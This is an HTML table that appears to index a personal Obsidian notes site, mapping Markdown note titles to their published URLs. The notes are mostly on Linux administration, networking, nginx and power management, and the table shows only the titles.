&lt;tr&gt;&lt;td&gt;Linux Capabilities命令实战指南 安全赋予程序权限详解.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-capabilities%E5%91%BD%E4%BB%A4%E5%AE%9E%E6%88%98%E6%8C%87%E5%8D%97-%E5%AE%89%E5%85%A8%E8%B5%8B%E4%BA%88%E7%A8%8B%E5%BA%8F%E6%9D%83%E9%99%90%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;linux-capabilities命令实战指南-安全赋予程序权限详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux dd Command Show Progress Copy Bar With Status.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-dd-command-show-progress-copy-bar-with-status&#x2F;&quot;&gt;obsidian&#x2F;linux-dd-command-show-progress-copy-bar-with-status&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux PCIe驱动框架分析.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-pcie%E9%A9%B1%E5%8A%A8%E6%A1%86%E6%9E%B6%E5%88%86%E6%9E%90&#x2F;&quot;&gt;obsidian&#x2F;linux-pcie驱动框架分析&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux tar命令及cpu控制_tar 限制io.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-tar%E5%91%BD%E4%BB%A4%E5%8F%8Acpu%E6%8E%A7%E5%88%B6_tar-%E9%99%90%E5%88%B6io&#x2F;&quot;&gt;obsidian&#x2F;linux-tar命令及cpu控制_tar-限制io&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux Ubuntu dpkg 命令详解.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-ubuntu-dpkg-%E5%91%BD%E4%BB%A4%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;linux-ubuntu-dpkg-命令详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux USB 基础概念与协议简介.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-usb-%E5%9F%BA%E7%A1%80%E6%A6%82%E5%BF%B5%E4%B8%8E%E5%8D%8F%E8%AE%AE%E7%AE%80%E4%BB%8B&#x2F;&quot;&gt;obsidian&#x2F;linux-usb-基础概念与协议简介&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 修改 ELF 解决 glibc 兼容性问题.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E4%BF%AE%E6%94%B9-elf-%E8%A7%A3%E5%86%B3-glibc-%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98&#x2F;&quot;&gt;obsidian&#x2F;linux-修改-elf-解决-glibc-兼容性问题&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;How to Use Your Tablet as a Second Monitor on Ubuntu.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-副屏方案合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;Linux下查看本机显示器分辨率(xrandr)_linux 获取当前屏幕分辨率.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-副屏方案合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;gnome virtual monitor_ How to Share Virtual Extended Screen in Ubuntu 22.04 _ 24.04.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-副屏方案合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;gnome virtual monitor_ How to Share Virtual Extended Screen in Ubuntu 22.04 _ 24.04&#x2F;TMP BUGFIX_ Mouse cursor not visible in extend mode over RDP.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-副屏方案合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;使用 FreeRDP 远程连接 Windows 机器.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-副屏方案合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;在 Linux 上使用 Sunshine 把安卓平板作为虚拟副屏，画面清晰延迟极低.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-副屏方案合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;在 Wayland 下对某会议软件的屏幕共享方案，以及一些笔记.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-副屏方案合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux 副屏方案&#x2F;技术_如何使用移动设备作为 Linux 副屏.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E5%89%AF%E5%B1%8F%E6%96%B9%E6%A1%88%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-副屏方案合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 桌面GUI及其启动流程.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E6%A1%8C%E9%9D%A2gui%E5%8F%8A%E5%85%B6%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B&#x2F;&quot;&gt;obsidian&#x2F;linux-桌面gui及其启动流程&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记本电源管理&#x2F;Linux TLP 电源管理教程.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-笔记本电源管理资料合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记本电源管理&#x2F;linux下使用笔记本的相关设置.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-笔记本电源管理资料合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记本电源管理&#x2F;linux笔记本电池管理,Linux系统笔记本电源管理方法实用指南.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-笔记本电源管理资料合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记本电源管理&#x2F;linux系统电源管理之常用工具_upower.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-笔记本电源管理资料合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记本电源管理&#x2F;桌面应用_TLP：一个可以延长 Linux 笔记本电池寿命的高级电源管理工具.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-笔记本电源管理资料合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记本电源管理&#x2F;调试 Linux 设备电源管理，解决笔记本发热和续航问题.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E7%AC%94%E8%AE%B0%E6%9C%AC%E7%94%B5%E6%BA%90%E7%AE%A1%E7%90%86%E8%B5%84%E6%96%99%E5%90%88%E9%9B%86&#x2F;&quot;&gt;obsidian&#x2F;linux-笔记本电源管理资料合集&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 虚拟网卡技术：Macvlan&#x2F;Docker的bridge和macvlan两种网络模式.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E8%99%9A%E6%8B%9F%E7%BD%91%E5%8D%A1%E6%8A%80%E6%9C%AF-macvlan&#x2F;&quot;&gt;obsidian&#x2F;linux-虚拟网卡技术-macvlan&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 虚拟网卡技术：Macvlan&#x2F;Docker跨主机通信之macvlan.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E8%99%9A%E6%8B%9F%E7%BD%91%E5%8D%A1%E6%8A%80%E6%9C%AF-macvlan&#x2F;&quot;&gt;obsidian&#x2F;linux-虚拟网卡技术-macvlan&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 虚拟网卡技术：Macvlan&#x2F;Macvlan 和 IPvlan.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E8%99%9A%E6%8B%9F%E7%BD%91%E5%8D%A1%E6%8A%80%E6%9C%AF-macvlan&#x2F;&quot;&gt;obsidian&#x2F;linux-虚拟网卡技术-macvlan&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 虚拟网卡技术：Macvlan&#x2F;docker使用macvlan配置网络，使容器与宿主机在同一局域网，广播域内_docker macvlan dhcp.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E8%99%9A%E6%8B%9F%E7%BD%91%E5%8D%A1%E6%8A%80%E6%9C%AF-macvlan&#x2F;&quot;&gt;obsidian&#x2F;linux-虚拟网卡技术-macvlan&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux 虚拟网卡技术：Macvlan.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux-%E8%99%9A%E6%8B%9F%E7%BD%91%E5%8D%A1%E6%8A%80%E6%9C%AF-macvlan-2&#x2F;&quot;&gt;obsidian&#x2F;linux-虚拟网卡技术-macvlan-2&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux上利用sunshine串流和虚拟显示器实现副屏扩展.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E4%B8%8A%E5%88%A9%E7%94%A8sunshine%E4%B8%B2%E6%B5%81%E5%92%8C%E8%99%9A%E6%8B%9F%E6%98%BE%E7%A4%BA%E5%99%A8%E5%AE%9E%E7%8E%B0%E5%89%AF%E5%B1%8F%E6%89%A9%E5%B1%95&#x2F;&quot;&gt;obsidian&#x2F;linux上利用sunshine串流和虚拟显示器实现副屏扩展&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux上磁盘热插拔.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E4%B8%8A%E7%A3%81%E7%9B%98%E7%83%AD%E6%8F%92%E6%8B%94&#x2F;&quot;&gt;obsidian&#x2F;linux上磁盘热插拔&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux上编译release并剥离调试信息.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E4%B8%8A%E7%BC%96%E8%AF%91release%E5%B9%B6%E5%89%A5%E7%A6%BB%E8%B0%83%E8%AF%95%E4%BF%A1%E6%81%AF&#x2F;&quot;&gt;obsidian&#x2F;linux上编译release并剥离调试信息&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux之facl----设置文件访问控制列表（详解）.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E4%B9%8Bfacl-%E8%AE%BE%E7%BD%AE%E6%96%87%E4%BB%B6%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E5%88%97%E8%A1%A8-%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;linux之facl-设置文件访问控制列表-详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;grub2详解(翻译和整理官方手册)&#x2F;linux内核启动参数.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E5%86%85%E6%A0%B8%E5%90%AF%E5%8A%A8%E5%8F%82%E6%95%B0&#x2F;&quot;&gt;obsidian&#x2F;linux内核启动参数&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux动态库加载路径： LD_LIBRARY_PATH失效.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E5%8A%A8%E6%80%81%E5%BA%93%E5%8A%A0%E8%BD%BD%E8%B7%AF%E5%BE%84-ld_library_path%E5%A4%B1%E6%95%88&#x2F;&quot;&gt;obsidian&#x2F;linux动态库加载路径-ld_library_path失效&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux应用调试（三）工具之Valgrind.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E5%BA%94%E7%94%A8%E8%B0%83%E8%AF%95-%E4%B8%89-%E5%B7%A5%E5%85%B7%E4%B9%8Bvalgrind&#x2F;&quot;&gt;obsidian&#x2F;linux应用调试-三-工具之valgrind&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux忘记root密码又忘记grub密码怎么办.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E5%BF%98%E8%AE%B0root%E5%AF%86%E7%A0%81%E5%8F%88%E5%BF%98%E8%AE%B0grub%E5%AF%86%E7%A0%81%E6%80%8E%E4%B9%88%E5%8A%9E&#x2F;&quot;&gt;obsidian&#x2F;linux忘记root密码又忘记grub密码怎么办&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux系列—策略路由、ip rule、ip route - wanstack.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E7%B3%BB%E5%88%97-%E7%AD%96%E7%95%A5%E8%B7%AF%E7%94%B1%E3%80%81ip-rule%E3%80%81ip-route-wanstack&#x2F;&quot;&gt;obsidian&#x2F;linux系列-策略路由、ip-rule、ip-route-wanstack&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux系统Polkit权限配置入门指南.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E7%B3%BB%E7%BB%9Fpolkit%E6%9D%83%E9%99%90%E9%85%8D%E7%BD%AE%E5%85%A5%E9%97%A8%E6%8C%87%E5%8D%97&#x2F;&quot;&gt;obsidian&#x2F;linux系统polkit权限配置入门指南&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;笔记 _ Linux 性能监视与跑分测试&#x2F;Linux系统如何做性能测试？.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E7%B3%BB%E7%BB%9F%E5%A6%82%E4%BD%95%E5%81%9A%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95&#x2F;&quot;&gt;obsidian&#x2F;linux系统如何做性能测试&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux系统如何做性能测试？-腾讯云开发者社区-腾讯云.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E7%B3%BB%E7%BB%9F%E5%A6%82%E4%BD%95%E5%81%9A%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95-%E8%85%BE%E8%AE%AF%E4%BA%91%E5%BC%80%E5%8F%91%E8%80%85%E7%A4%BE%E5%8C%BA-%E8%85%BE%E8%AE%AF%E4%BA%91&#x2F;&quot;&gt;obsidian&#x2F;linux系统如何做性能测试-腾讯云开发者社区-腾讯云&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux运维bind9-DNS正向解析DNS反向解析.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E8%BF%90%E7%BB%B4bind9-dns%E6%AD%A3%E5%90%91%E8%A7%A3%E6%9E%90dns%E5%8F%8D%E5%90%91%E8%A7%A3%E6%9E%90&#x2F;&quot;&gt;obsidian&#x2F;linux运维bind9-dns正向解析dns反向解析&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Linux配置etcresolv.conf详解.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;linux%E9%85%8D%E7%BD%AEetcresolv.conf%E8%AF%A6%E8%A7%A3&#x2F;&quot;&gt;obsidian&#x2F;linux配置etcresolv.conf详解&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Macvlan 和 IPvlan - MKY-门可意.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;macvlan-%E5%92%8C-ipvlan-mky-%E9%97%A8%E5%8F%AF%E6%84%8F&#x2F;&quot;&gt;obsidian&#x2F;macvlan-和-ipvlan-mky-门可意&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Mastering Zsh Keyboard Shortcuts for Efficient Shell Navigation and Editing.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;mastering-zsh-keyboard-shortcuts-for-efficient-shell-navigation-and-editing&#x2F;&quot;&gt;obsidian&#x2F;mastering-zsh-keyboard-shortcuts-for-efficient-shell-navigation-and-editing&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;mDNS与DNS-SD以及在Matter中使用 - FreeBuf网络安全行业门户.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;mdns%E4%B8%8Edns-sd%E4%BB%A5%E5%8F%8A%E5%9C%A8matter%E4%B8%AD%E4%BD%BF%E7%94%A8-freebuf%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%A1%8C%E4%B8%9A%E9%97%A8%E6%88%B7&#x2F;&quot;&gt;obsidian&#x2F;mdns与dns-sd以及在matter中使用-freebuf网络安全行业门户&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MIT 6.858 Computer Systems Security - Lab 1 实验报告.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;mit-6.858-computer-systems-security-lab-1-%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A&#x2F;&quot;&gt;obsidian&#x2F;mit-6.858-computer-systems-security-lab-1-实验报告&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;MIT 6.858 Computer Systems Security - Lab 3 实验报告.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;mit-6.858-computer-systems-security-lab-3-%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A&#x2F;&quot;&gt;obsidian&#x2F;mit-6.858-computer-systems-security-lab-3-实验报告&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Modern c++快速浅析.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;modern-c-%E5%BF%AB%E9%80%9F%E6%B5%85%E6%9E%90&#x2F;&quot;&gt;obsidian&#x2F;modern-c-快速浅析&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;vpn&#x2F;nginx only deal with https and ignore http.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;nginx-only-deal-with-https-and-ignore-http&#x2F;&quot;&gt;obsidian&#x2F;nginx-only-deal-with-https-and-ignore-http&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;vpn&#x2F;nginx中proxy_set_header Host $host的作用及$proxy_host，$host与$http_host的区别.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;nginx%E4%B8%ADproxy_set_header-host-host%E7%9A%84%E4%BD%9C%E7%94%A8%E5%8F%8A-proxy_host-host%E4%B8%8E-http_host%E7%9A%84%E5%8C%BA%E5%88%AB&#x2F;&quot;&gt;obsidian&#x2F;nginx中proxy_set_header-host-host的作用及-proxy_host-host与-http_host的区别&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;NGINX使用相同TCP端口同时服务HTTP和HTTPS.md&lt;&#x2F;td&gt;&lt;td&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;obsidian&#x2F;nginx%E4%BD%BF%E7%94%A8%E7%9B%B8%E5%90%8Ctcp%E7%AB%AF%E5%8F%A3%E5%90%8C%E6%97%B6%E6%9C%8D%E5%8A%A1http%E5%92%8Chttps&#x2F;&quot;&gt;obsidian&#x2F;nginx使用相同tcp端口同时服务http和https&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
